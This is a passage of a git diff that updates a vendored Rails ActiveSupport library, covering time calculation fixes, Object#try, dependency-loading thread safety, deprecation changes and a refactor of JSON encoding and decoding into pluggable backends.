+          else
+            result
+          end
+        end
+
+        def concat_with_safety(other_or_fixnum)
+          result = concat_without_safety(other_or_fixnum)
+          unless html_safe? && also_html_safe?(other_or_fixnum)
+            @_rails_html_safe = false
+          end
+          result
+        end
+
+        private
+          def also_html_safe?(other)
+            other.respond_to?(:html_safe?) && other.html_safe?
+          end
+      end
+    end
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/time/calculations.rb b/vendor/rails/activesupport/lib/active_support/core_ext/time/calculations.rb
index 5ed750af..380922dd 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -201,15 +201,16 @@ module ActiveSupport #:nodoc:
 
         # Returns a new Time representing the start of the day (0:00)
         def beginning_of_day
-          (self - self.seconds_since_midnight).change(:usec => 0)
+          #(self - seconds_since_midnight).change(:usec => 0)
+          change(:hour => 0, :min => 0, :sec => 0, :usec => 0)
         end
         alias :midnight :beginning_of_day
         alias :at_midnight :beginning_of_day
         alias :at_beginning_of_day :beginning_of_day
 
-        # Returns a new Time representing the end of the day (23:59:59)
+        # Returns a new Time representing the end of the day, 23:59:59.999999 (.999999999 in ruby1.9)
         def end_of_day
-          change(:hour => 23, :min => 59, :sec => 59)
+          change(:hour => 23, :min => 59, :sec => 59, :usec => 999999.999)
         end
 
         # Returns a new Time representing the start of the month (1st of the month, 0:00)
@@ -219,11 +220,11 @@ module ActiveSupport #:nodoc:
         end
         alias :at_beginning_of_month :beginning_of_month
 
-        # Returns a new Time representing the end of the month (last day of the month, 0:00)
+        # Returns a new Time representing the end of the month (end of the last day of the month)
         def end_of_month
           #self - ((self.mday-1).days + self.seconds_since_midnight)
           last_day = ::Time.days_in_month( self.month, self.year )
-          change(:day => last_day, :hour => 23, :min => 59, :sec => 59, :usec => 0)
+          change(:day => last_day, :hour => 23, :min => 59, :sec => 59, :usec => 999999.999)
         end
         alias :at_end_of_month :end_of_month
 
@@ -233,7 +234,7 @@ module ActiveSupport #:nodoc:
         end
         alias :at_beginning_of_quarter :beginning_of_quarter
 
-        # Returns a new Time representing the end of the quarter (last day of march, june, september, december, 23:59:59)
+        # Returns a new Time representing the end of the quarter (end of the last day of march, june, september, december)
         def end_of_quarter
           beginning_of_month.change(:month => [3, 6, 9, 12].detect { |m| m >= self.month }).end_of_month
         end
@@ -245,9 +246,9 @@ module ActiveSupport #:nodoc:
         end
         alias :at_beginning_of_year :beginning_of_year
 
-        # Returns a new Time representing the end of the year (31st of december, 23:59:59)
+        # Returns a new Time representing the end of the year (end of the 31st of december)
         def end_of_year
-          change(:month => 12,:day => 31,:hour => 23, :min => 59, :sec => 59)
+          change(:month => 12, :day => 31, :hour => 23, :min => 59, :sec => 59, :usec => 999999.999)
         end
         alias :at_end_of_year :end_of_year
 
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/time/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/time/conversions.rb
index f42be467..e6f91346 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/time/conversions.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -10,7 +10,7 @@ module ActiveSupport #:nodoc:
           :short        => "%d %b %H:%M",
           :long         => "%B %d, %Y %H:%M",
           :long_ordinal => lambda { |time| time.strftime("%B #{time.day.ordinalize}, %Y %H:%M") },
-          :rfc822       => "%a, %d %b %Y %H:%M:%S %z"
+          :rfc822       => lambda { |time| time.strftime("%a, %d %b %Y %H:%M:%S #{time.formatted_offset(false)}") }
         }
 
         def self.included(base) #:nodoc:
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/try.rb b/vendor/rails/activesupport/lib/active_support/core_ext/try.rb
new file mode 100644
index 00000000..3de198d1
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/try.rb
@@ -0,0 +1,36 @@
+class Object
+  # Invokes the method identified by the symbol +method+, passing it any arguments 
+  # and/or the block specified, just like the regular Ruby <tt>Object#send</tt> does.
+  #
+  # *Unlike* that method however, a +NoMethodError+ exception will *not* be raised 
+  # and +nil+ will be returned instead, if the receiving object is a +nil+ object or NilClass.
+  #
+  # ==== Examples
+  #
+  # Without try
+  #   @person && @person.name
+  # or
+  #   @person ? @person.name : nil
+  #
+  # With try
+  #   @person.try(:name)
+  #
+  # +try+ also accepts arguments and/or a block, for the method it is trying
+  #   Person.try(:find, 1)
+  #   @people.try(:collect) {|p| p.name}
+  #--
+  # This method definition below is for rdoc purposes only. The alias_method call 
+  # below overrides it as an optimization since +try+ behaves like +Object#send+,
+  # unless called on +NilClass+.
+  def try(method, *args, &block)
+    send(method, *args, &block)
+  end
+  remove_method :try
+  alias_method :try, :__send__
+end
+
+class NilClass
+  def try(*args)
+    nil
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/uri.rb b/vendor/rails/activesupport/lib/active_support/core_ext/uri.rb
new file mode 100644
index 00000000..9a1c61d9
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/uri.rb
@@ -0,0 +1,16 @@
+if RUBY_VERSION >= '1.9'
+  require 'uri'
+
+  str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
+  str.force_encoding(Encoding::UTF_8) if str.respond_to?(:force_encoding)
+
+  unless str == URI.unescape(URI.escape(str))
+    URI::Parser.class_eval do
+      remove_method :unescape
+      def unescape(str, escaped = @regexp[:ESCAPED])
+        enc = (str.encoding == Encoding::US_ASCII) ? Encoding::UTF_8 : str.encoding
+        str.gsub(escaped) { [$&[1, 2].hex].pack('C') }.force_encoding(enc)
+      end
+    end
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/dependencies.rb b/vendor/rails/activesupport/lib/active_support/dependencies.rb
index e7df2bdb..2badad5f 100644
--- a/vendor/rails/activesupport/lib/active_support/dependencies.rb
+++ b/vendor/rails/activesupport/lib/active_support/dependencies.rb
@@ -51,6 +51,9 @@ module ActiveSupport #:nodoc:
     mattr_accessor :constant_watch_stack
     self.constant_watch_stack = []
 
+    mattr_accessor :constant_watch_stack_mutex
+    self.constant_watch_stack_mutex = Mutex.new
+
     # Module includes this module
     module ModuleConstMissing #:nodoc:
       def self.included(base) #:nodoc:
@@ -319,12 +322,7 @@ module ActiveSupport #:nodoc:
         rescue NameError
           next
         end
-
-        [
-          nesting.camelize,
-          # Special case: application.rb might define ApplicationControlller.
-          ('ApplicationController' if nesting == 'application')
-        ]
+        [ nesting_camel ]
       end.flatten.compact.uniq
     end
 
@@ -514,7 +512,9 @@ module ActiveSupport #:nodoc:
         [mod_name, initial_constants]
       end
 
-      constant_watch_stack.concat watch_frames
+      constant_watch_stack_mutex.synchronize do
+        constant_watch_stack.concat watch_frames
+      end
 
       aborting = true
       begin
@@ -531,8 +531,10 @@ module ActiveSupport #:nodoc:
           new_constants = mod.local_constant_names - prior_constants
 
           # Make sure no other frames takes credit for these constants.
-          constant_watch_stack.each do |frame_name, constants|
-            constants.concat new_constants if frame_name == mod_name
+          constant_watch_stack_mutex.synchronize do
+            constant_watch_stack.each do |frame_name, constants|
+              constants.concat new_constants if frame_name == mod_name
+            end
           end
 
           new_constants.collect do |suffix|
@@ -554,8 +556,10 @@ module ActiveSupport #:nodoc:
       # Remove the stack frames that we added.
       if defined?(watch_frames) && ! watch_frames.blank?
         frame_ids = watch_frames.collect { |frame| frame.object_id }
-        constant_watch_stack.delete_if do |watch_frame|
-          frame_ids.include? watch_frame.object_id
+        constant_watch_stack_mutex.synchronize do
+          constant_watch_stack.delete_if do |watch_frame|
+            frame_ids.include? watch_frame.object_id
+          end
         end
       end
     end
@@ -564,9 +568,9 @@ module ActiveSupport #:nodoc:
       # Old style environment.rb referenced this method directly.  Please note, it doesn't
       # actually *do* anything any more.
       def self.root(*args)
-        if defined?(RAILS_DEFAULT_LOGGER)
-          RAILS_DEFAULT_LOGGER.warn "Your environment.rb uses the old syntax, it may not continue to work in future releases."
-          RAILS_DEFAULT_LOGGER.warn "For upgrade instructions please see: http://manuals.rubyonrails.com/read/book/19"
+        if defined?(Rails) && Rails.logger
+          Rails.logger.warn "Your environment.rb uses the old syntax, it may not continue to work in future releases."
+          Rails.logger.warn "For upgrade instructions please see: http://manuals.rubyonrails.com/read/book/19"
         end
       end
     end
diff --git a/vendor/rails/activesupport/lib/active_support/deprecation.rb b/vendor/rails/activesupport/lib/active_support/deprecation.rb
index b4d8f61b..151ae5a1 100644
--- a/vendor/rails/activesupport/lib/active_support/deprecation.rb
+++ b/vendor/rails/activesupport/lib/active_support/deprecation.rb
@@ -13,7 +13,7 @@ module ActiveSupport
                          $stderr.puts callstack.join("\n  ") if debug
                        },
       'development' => Proc.new { |message, callstack|
-                         logger = defined?(::RAILS_DEFAULT_LOGGER) ? ::RAILS_DEFAULT_LOGGER : Logger.new($stderr)
+                         logger = (defined?(Rails) && Rails.logger) ? Rails.logger : Logger.new($stderr)
                          logger.warn message
                          logger.debug callstack.join("\n  ") if debug
                        }
@@ -90,10 +90,15 @@ module ActiveSupport
         method_names.each do |method_name|
           alias_method_chain(method_name, :deprecation) do |target, punctuation|
             class_eval(<<-EOS, __FILE__, __LINE__)
-              def #{target}_with_deprecation#{punctuation}(*args, &block)
-                ::ActiveSupport::Deprecation.warn(self.class.deprecated_method_warning(:#{method_name}, #{options[method_name].inspect}), caller)
-                #{target}_without_deprecation#{punctuation}(*args, &block)
-              end
+              def #{target}_with_deprecation#{punctuation}(*args, &block)          # def generate_secret_with_deprecation(*args, &block)
+                ::ActiveSupport::Deprecation.warn(                                 #   ::ActiveSupport::Deprecation.warn(
+                  self.class.deprecated_method_warning(                            #     self.class.deprecated_method_warning(
+                    :#{method_name},                                               #       :generate_secret,
+                    #{options[method_name].inspect}),                              #       "You should use ActiveSupport::SecureRandom.hex(64)"),
+                  caller                                                           #     caller
+                )                                                                  #   )
+                send(:#{target}_without_deprecation#{punctuation}, *args, &block)  #   send(:generate_secret_without_deprecation, *args, &block)
+              end                                                                  # end
             EOS
           end
         end
@@ -113,37 +118,6 @@ module ActiveSupport
       end
     end
 
-    module Assertions #:nodoc:
-      def assert_deprecated(match = nil, &block)
-        result, warnings = collect_deprecations(&block)
-        assert !warnings.empty?, "Expected a deprecation warning within the block but received none"
-        if match
-          match = Regexp.new(Regexp.escape(match)) unless match.is_a?(Regexp)
-          assert warnings.any? { |w| w =~ match }, "No deprecation warning matched #{match}: #{warnings.join(', ')}"
-        end
-        result
-      end
-
-      def assert_not_deprecated(&block)
-        result, deprecations = collect_deprecations(&block)
-        assert deprecations.empty?, "Expected no deprecation warning within the block but received #{deprecations.size}: \n  #{deprecations * "\n  "}"
-        result
-      end
-
-      private
-        def collect_deprecations
-          old_behavior = ActiveSupport::Deprecation.behavior
-          deprecations = []
-          ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
-            deprecations << message
-          end
-          result = yield
-          [result, deprecations]
-        ensure
-          ActiveSupport::Deprecation.behavior = old_behavior
-        end
-    end
-
     class DeprecationProxy #:nodoc:
       silence_warnings do
         instance_methods.each { |m| undef_method m unless m =~ /^__/ }
@@ -220,24 +194,3 @@ end
 class Module
   include ActiveSupport::Deprecation::ClassMethods
 end
-
-require 'test/unit/error'
-
-module Test
-  module Unit
-    class TestCase
-      include ActiveSupport::Deprecation::Assertions
-    end
-
-    class Error # :nodoc:
-      # Silence warnings when reporting test errors.
-      def message_with_silenced_deprecation
-        ActiveSupport::Deprecation.silence do
-          message_without_silenced_deprecation
-        end
-      end
-
-      alias_method_chain :message, :silenced_deprecation
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/duration.rb b/vendor/rails/activesupport/lib/active_support/duration.rb
index 8eae85d3..aa6d1aa3 100644
--- a/vendor/rails/activesupport/lib/active_support/duration.rb
+++ b/vendor/rails/activesupport/lib/active_support/duration.rb
@@ -1,3 +1,5 @@
+require 'active_support/basic_object'
+
 module ActiveSupport
   # Provides accurate date and time measurements using Date#advance and 
   # Time#advance, respectively. It mainly supports the methods on Numeric,
@@ -65,10 +67,12 @@ module ActiveSupport
 
     def inspect #:nodoc:
       consolidated = parts.inject(::Hash.new(0)) { |h,part| h[part.first] += part.last; h }
-      [:years, :months, :days, :minutes, :seconds].map do |length|
+      parts = [:years, :months, :days, :minutes, :seconds].map do |length|
         n = consolidated[length]
         "#{n} #{n == 1 ? length.to_s.singularize : length.to_s}" if n.nonzero?
-      end.compact.to_sentence
+      end.compact
+      parts = ["0 seconds"] if parts.empty?
+      parts.to_sentence(:locale => :en)
     end
 
     protected
diff --git a/vendor/rails/activesupport/lib/active_support/inflections.rb b/vendor/rails/activesupport/lib/active_support/inflections.rb
index b6d27695..8fb3fa9a 100644
--- a/vendor/rails/activesupport/lib/active_support/inflections.rb
+++ b/vendor/rails/activesupport/lib/active_support/inflections.rb
@@ -42,6 +42,7 @@ module ActiveSupport
     inflect.singular(/(vert|ind)ices$/i, '\1ex')
     inflect.singular(/(matr)ices$/i, '\1ix')
     inflect.singular(/(quiz)zes$/i, '\1')
+    inflect.singular(/(database)s$/i, '\1')
 
     inflect.irregular('person', 'people')
     inflect.irregular('man', 'men')
diff --git a/vendor/rails/activesupport/lib/active_support/inflector.rb b/vendor/rails/activesupport/lib/active_support/inflector.rb
index ad2660e6..3ed30bdf 100644
--- a/vendor/rails/activesupport/lib/active_support/inflector.rb
+++ b/vendor/rails/activesupport/lib/active_support/inflector.rb
@@ -254,18 +254,20 @@ module ActiveSupport
     #   @person = Person.find(1)
     #   # => #<Person id: 1, name: "Donald E. Knuth">
     #
-    #   <%= link_to(@person.name, person_path %>
+    #   <%= link_to(@person.name, person_path(@person)) %>
     #   # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
     def parameterize(string, sep = '-')
-      re_sep = Regexp.escape(sep)
       # replace accented chars with ther ascii equivalents
       parameterized_string = transliterate(string)
       # Turn unwanted chars into the seperator
       parameterized_string.gsub!(/[^a-z0-9\-_\+]+/i, sep)
-      # No more than one of the separator in a row.
-      parameterized_string.squeeze!(sep)
-      # Remove leading/trailing separator.
-      parameterized_string.gsub!(/^#{re_sep}|#{re_sep}$/i, '')
+      unless sep.blank?
+        re_sep = Regexp.escape(sep)
+        # No more than one of the separator in a row.
+        parameterized_string.gsub!(/#{re_sep}{2,}/, sep)
+        # Remove leading/trailing separator.
+        parameterized_string.gsub!(/^#{re_sep}|#{re_sep}$/i, '')
+      end
       parameterized_string.downcase
     end
 
@@ -275,9 +277,16 @@ module ActiveSupport
       Iconv.iconv('ascii//ignore//translit', 'utf-8', string).to_s
     end
 
+    if RUBY_VERSION >= '1.9'
+      undef_method :transliterate
+      def transliterate(string)
+        warn "Ruby 1.9 doesn't support Unicode normalization yet"
+        string.dup
+      end
+
     # The iconv transliteration code doesn't function correctly
     # on some platforms, but it's very fast where it does function.
-    if "foo" != Inflector.transliterate("föö")
+    elsif "foo" != (Inflector.transliterate("föö") rescue nil)
       undef_method :transliterate
       def transliterate(string)
         string.mb_chars.normalize(:kd). # Decompose accented characters
diff --git a/vendor/rails/activesupport/lib/active_support/json.rb b/vendor/rails/activesupport/lib/active_support/json.rb
index 2bdb4a7b..3e1d9b1d 100644
--- a/vendor/rails/activesupport/lib/active_support/json.rb
+++ b/vendor/rails/activesupport/lib/active_support/json.rb
@@ -1,23 +1,2 @@
-module ActiveSupport
-  # If true, use ISO 8601 format for dates and times. Otherwise, fall back to the Active Support legacy format.
-  mattr_accessor :use_standard_json_time_format
-
-  class << self
-    def escape_html_entities_in_json
-      @escape_html_entities_in_json
-    end
-
-    def escape_html_entities_in_json=(value)
-      ActiveSupport::JSON::Encoding.escape_regex = \
-        if value
-          /[\010\f\n\r\t"\\><&]/
-        else
-          /[\010\f\n\r\t"\\]/
-        end
-      @escape_html_entities_in_json = value
-    end
-  end
-end
-
-require 'active_support/json/encoding'
 require 'active_support/json/decoding'
+require 'active_support/json/encoding'
diff --git a/vendor/rails/activesupport/lib/active_support/json/backends/jsongem.rb b/vendor/rails/activesupport/lib/active_support/json/backends/jsongem.rb
new file mode 100644
index 00000000..4076db9d
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/json/backends/jsongem.rb
@@ -0,0 +1,37 @@
+require 'json' unless defined?(JSON)
+
+module ActiveSupport
+  module JSON
+    module Backends
+      module JSONGem
+        ParseError = ::JSON::ParserError
+        extend self
+
+        # Converts a JSON string into a Ruby object.
+        def decode(json)
+          data = ::JSON.parse(json)
+          if ActiveSupport.parse_json_times
+            convert_dates_from(data)
+          else
+            data
+          end
+        end
+
+      private
+        def convert_dates_from(data)
+          case data
+            when DATE_REGEX
+              DateTime.parse(data)
+            when Array
+              data.map! { |d| convert_dates_from(d) }
+            when Hash
+              data.each do |key, value|
+                data[key] = convert_dates_from(value)
+              end
+            else data
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/json/backends/yaml.rb b/vendor/rails/activesupport/lib/active_support/json/backends/yaml.rb
new file mode 100644
index 00000000..ab2ec468
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/json/backends/yaml.rb
@@ -0,0 +1,84 @@
+require 'active_support/core_ext/string/starts_ends_with'
+
+module ActiveSupport
+  module JSON
+    module Backends
+      module Yaml
+        ParseError = ::StandardError
+        extend self
+
+        # Converts a JSON string into a Ruby object.
+        def decode(json)
+          YAML.load(convert_json_to_yaml(json))
+        rescue ArgumentError => e
+          raise ParseError, "Invalid JSON string"
+        end
+
+        protected
+          # Ensure that ":" and "," are always followed by a space
+          def convert_json_to_yaml(json) #:nodoc:
+            require 'strscan' unless defined? ::StringScanner
+            scanner, quoting, marks, pos, times = ::StringScanner.new(json), false, [], nil, []
+            while scanner.scan_until(/(\\['"]|['":,\\]|\\.)/)
+              case char = scanner[1]
+              when '"', "'"
+                if !quoting
+                  quoting = char
+                  pos = scanner.pos
+                elsif quoting == char
+                  if json[pos..scanner.pos-2] =~ DATE_REGEX
+                    # found a date, track the exact positions of the quotes so we can remove them later.
+                    # oh, and increment them for each current mark, each one is an extra padded space that bumps
+                    # the position in the final YAML output
+                    total_marks = marks.size
+                    times << pos+total_marks << scanner.pos+total_marks
+                  end
+                  quoting = false
+                end
+              when ":",","
+                marks << scanner.pos - 1 unless quoting
+              when "\\"
+                scanner.skip(/\\/)
+              end
+            end
+
+            if marks.empty?
+              json.gsub(/\\([\\\/]|u[[:xdigit:]]{4})/) do
+                ustr = $1
+                if ustr.start_with?('u')
+                  [ustr[1..-1].to_i(16)].pack("U")
+                elsif ustr == '\\'
+                  '\\\\'
+                else
+                  ustr
+                end
+              end
+            else
+              left_pos  = [-1].push(*marks)
+              right_pos = marks << scanner.pos + scanner.rest_size
+              output    = []
+              left_pos.each_with_index do |left, i|
+                scanner.pos = left.succ
+                output << scanner.peek(right_pos[i] - scanner.pos + 1).gsub(/\\([\\\/]|u[[:xdigit:]]{4})/) do
+                  ustr = $1
+                  if ustr.start_with?('u')
+                    [ustr[1..-1].to_i(16)].pack("U")
+                  elsif ustr == '\\'
+                    '\\\\'
+                  else
+                    ustr
+                  end
+                end
+              end
+              output = output * " "
+
+              times.each { |i| output[i-1] = ' ' }
+              output.gsub!(/\\\//, '/')
+              output
+            end
+          end
+      end
+    end
+  end
+end
+
diff --git a/vendor/rails/activesupport/lib/active_support/json/decoding.rb b/vendor/rails/activesupport/lib/active_support/json/decoding.rb
index fdb219db..b88a9a72 100644
--- a/vendor/rails/activesupport/lib/active_support/json/decoding.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/decoding.rb
@@ -1,63 +1,35 @@
-require 'yaml'
-require 'strscan'
+require 'active_support/core_ext/module/attribute_accessors'
 
 module ActiveSupport
+  # Look for and parse json strings that look like ISO 8601 times.
+  mattr_accessor :parse_json_times
+
   module JSON
-    class ParseError < StandardError
-    end
-    
     class << self
-      # Converts a JSON string into a Ruby object.
-      def decode(json)
-        YAML.load(convert_json_to_yaml(json))
-      rescue ArgumentError => e
-        raise ParseError, "Invalid JSON string"
+      attr_reader :parse_error
+      delegate :decode, :to => :backend
+
+      def backend
+        self.backend = "Yaml" unless defined?(@backend)
+        @backend
       end
-      
-      protected
-        # matches YAML-formatted dates
-        DATE_REGEX = /^\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[ \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?)?$/
 
-        # Ensure that ":" and "," are always followed by a space
-        def convert_json_to_yaml(json) #:nodoc:
-          scanner, quoting, marks, pos, times = StringScanner.new(json), false, [], nil, []
-          while scanner.scan_until(/(\\['"]|['":,\\]|\\.)/)
-            case char = scanner[1]
-            when '"', "'"
-              if !quoting
-                quoting = char
-                pos = scanner.pos
-              elsif quoting == char
-                if json[pos..scanner.pos-2] =~ DATE_REGEX
-                  # found a date, track the exact positions of the quotes so we can remove them later.
-                  # oh, and increment them for each current mark, each one is an extra padded space that bumps
-                  # the position in the final YAML output
-                  total_marks = marks.size
-                  times << pos+total_marks << scanner.pos+total_marks
-                end
-                quoting = false
-              end
-            when ":",","
-              marks << scanner.pos - 1 unless quoting
-            end
-          end
-
-          if marks.empty?
-            json.gsub(/\\\//, '/')
-          else
-            left_pos  = [-1].push(*marks)
-            right_pos = marks << json.length
-            output    = []
-            left_pos.each_with_index do |left, i|
-              output << json[left.succ..right_pos[i]]
-            end
-            output = output * " "
-            
-            times.each { |i| output[i-1] = ' ' }
-            output.gsub!(/\\\//, '/')
-            output
-          end
+      def backend=(name)
+        if name.is_a?(Module)
+          @backend = name
+        else
+          require "active_support/json/backends/#{name.to_s.downcase}.rb"
+          @backend = ActiveSupport::JSON::Backends::const_get(name)
         end
+        @parse_error = @backend::ParseError
+      end
+
+      def with_backend(name)
+        old_backend, self.backend = backend, name
+        yield
+      ensure
+        self.backend = old_backend
+      end
     end
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/date.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/date.rb
index 1fc99c46..0df1b8ed 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/date.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/date.rb
@@ -1,21 +1,22 @@
 class Date
-  # Returns a JSON string representing the date. If ActiveSupport.use_standard_json_time_format is set to true, the
-  # ISO 8601 format is used.
+  # Coerces the date to a string for JSON encoding.
   #
-  # ==== Examples:
+  # ISO 8601 format is used if ActiveSupport::JSON::Encoding.use_standard_json_time_format is set.
   #
-  #   # With ActiveSupport.use_standard_json_time_format = true
+  # ==== Examples
+  #
+  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
   #   Date.new(2005,2,1).to_json
   #   # => "2005-02-01"
   #
-  #   # With ActiveSupport.use_standard_json_time_format = false
+  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
   #   Date.new(2005,2,1).to_json
   #   # => "2005/02/01"
-  def to_json(options = nil)
-    if ActiveSupport.use_standard_json_time_format
-      %("#{strftime("%Y-%m-%d")}")
+  def as_json(options = nil)
+    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+      strftime("%Y-%m-%d")
     else
-      %("#{strftime("%Y/%m/%d")}")
+      strftime("%Y/%m/%d")
     end
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/date_time.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/date_time.rb
index e2599300..20c12a76 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/date_time.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/date_time.rb
@@ -1,21 +1,22 @@
 class DateTime
-  # Returns a JSON string representing the datetime. If ActiveSupport.use_standard_json_time_format is set to true, the
-  # ISO 8601 format is used.
+  # Coerces the datetime to a string for JSON encoding.
   #
-  # ==== Examples:
+  # ISO 8601 format is used if ActiveSupport::JSON::Encoding.use_standard_json_time_format is set.
   #
-  #   # With ActiveSupport.use_standard_json_time_format = true
+  # ==== Examples
+  #
+  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
   #   DateTime.civil(2005,2,1,15,15,10).to_json
   #   # => "2005-02-01T15:15:10+00:00"
   #
-  #   # With ActiveSupport.use_standard_json_time_format = false
+  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
   #   DateTime.civil(2005,2,1,15,15,10).to_json
   #   # => "2005/02/01 15:15:10 +0000"
-  def to_json(options = nil)
-    if ActiveSupport.use_standard_json_time_format
-      xmlschema.inspect
+  def as_json(options = nil)
+    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+      xmlschema
     else
-      strftime('"%Y/%m/%d %H:%M:%S %z"')
+      strftime('%Y/%m/%d %H:%M:%S %z')
     end
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/enumerable.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/enumerable.rb
index 881b1d62..65924e38 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/enumerable.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/enumerable.rb
@@ -1,12 +1,17 @@
 module Enumerable
-  # Returns a JSON string representing the enumerable. Any +options+
-  # given will be passed on to its elements. For example:
-  #
-  #   users = User.find(:all)
-  #   # => users.to_json(:only => :name)
-  #
-  # will pass the <tt>:only => :name</tt> option to each user.
-  def to_json(options = {}) #:nodoc:
-    "[#{map { |value| ActiveSupport::JSON.encode(value, options) } * ', '}]"
+  # Coerces the enumerable to an array for JSON encoding.
+  def as_json(options = nil) #:nodoc:
+    to_a
+  end
+end
+
+class Array
+  # Returns a JSON string representing the Array. +options+ are passed to each element.
+  def to_json(options = nil) #:nodoc:
+    "[#{map { |value| ActiveSupport::JSON.encode(value, options) } * ','}]"
+  end
+
+  def as_json(options = nil) #:nodoc:
+    self
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/false_class.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/false_class.rb
index bf084433..c2bb1ee2 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/false_class.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/false_class.rb
@@ -1,5 +1,7 @@
 class FalseClass
-  def to_json(options = nil) #:nodoc:
-    'false'
+  AS_JSON = ActiveSupport::JSON::Variable.new('false').freeze
+
+  def as_json(options = nil) #:nodoc:
+    AS_JSON
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/hash.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/hash.rb
index b9bdd55f..cfe21e4a 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/hash.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/hash.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/array/wrapper'
+
 class Hash
   # Returns a JSON string representing the hash.
   #
@@ -5,7 +7,7 @@ class Hash
   # the hash keys. For example:
   #
   #   { :name => "Konata Izumi", 'age' => 16, 1 => 2 }.to_json
-  #   # => {"name": "Konata Izumi", 1: 2, "age": 16}
+  #   # => {"name": "Konata Izumi", "1": 2, "age": 16}
   #
   # The keys in the JSON string are unordered due to the nature of hashes.
   #
@@ -28,20 +30,27 @@ class Hash
   # would pass the <tt>:include => :posts</tt> option to <tt>users</tt>,
   # allowing the posts association in the User model to be converted to JSON
   # as well.
-  def to_json(options = {}) #:nodoc:
-    hash_keys = self.keys
+  def to_json(options = nil) #:nodoc:
+    hash = as_json(options)
 
-    if options[:except]
-      hash_keys = hash_keys - Array(options[:except])
-    elsif options[:only]
-      hash_keys = hash_keys & Array(options[:only])
-    end
+    result = '{'
+    result << hash.map do |key, value|
+      "#{ActiveSupport::JSON.encode(key.to_s)}:#{ActiveSupport::JSON.encode(value, options)}"
+    end * ','
+    result << '}'
+  end
 
-    returning result = '{' do
-      result << hash_keys.map do |key|
-        "#{ActiveSupport::JSON.encode(key)}: #{ActiveSupport::JSON.encode(self[key], options)}"
-      end * ', '
-      result << '}'
+  def as_json(options = nil) #:nodoc:
+    if options
+      if attrs = options[:except]
+        except(*Array.wrap(attrs))
+      elsif attrs = options[:only]
+        slice(*Array.wrap(attrs))
+      else
+        self
+      end
+    else
+      self
     end
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/nil_class.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/nil_class.rb
index 4763471a..041c1a26 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/nil_class.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/nil_class.rb
@@ -1,5 +1,7 @@
 class NilClass
-  def to_json(options = nil) #:nodoc:
-    'null'
+  AS_JSON = ActiveSupport::JSON::Variable.new('null').freeze
+
+  def as_json(options = nil) #:nodoc:
+    AS_JSON
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/numeric.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/numeric.rb
index 38713fb3..6493bd67 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/numeric.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/numeric.rb
@@ -2,4 +2,20 @@ class Numeric
   def to_json(options = nil) #:nodoc:
     to_s
   end
+
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class Float
+  def to_json(options = nil) #:nodoc:
+    to_s
+  end
+end
+
+class Integer
+  def to_json(options = nil) #:nodoc:
+    to_s
+  end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/object.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/object.rb
index ca215d49..09941005 100644
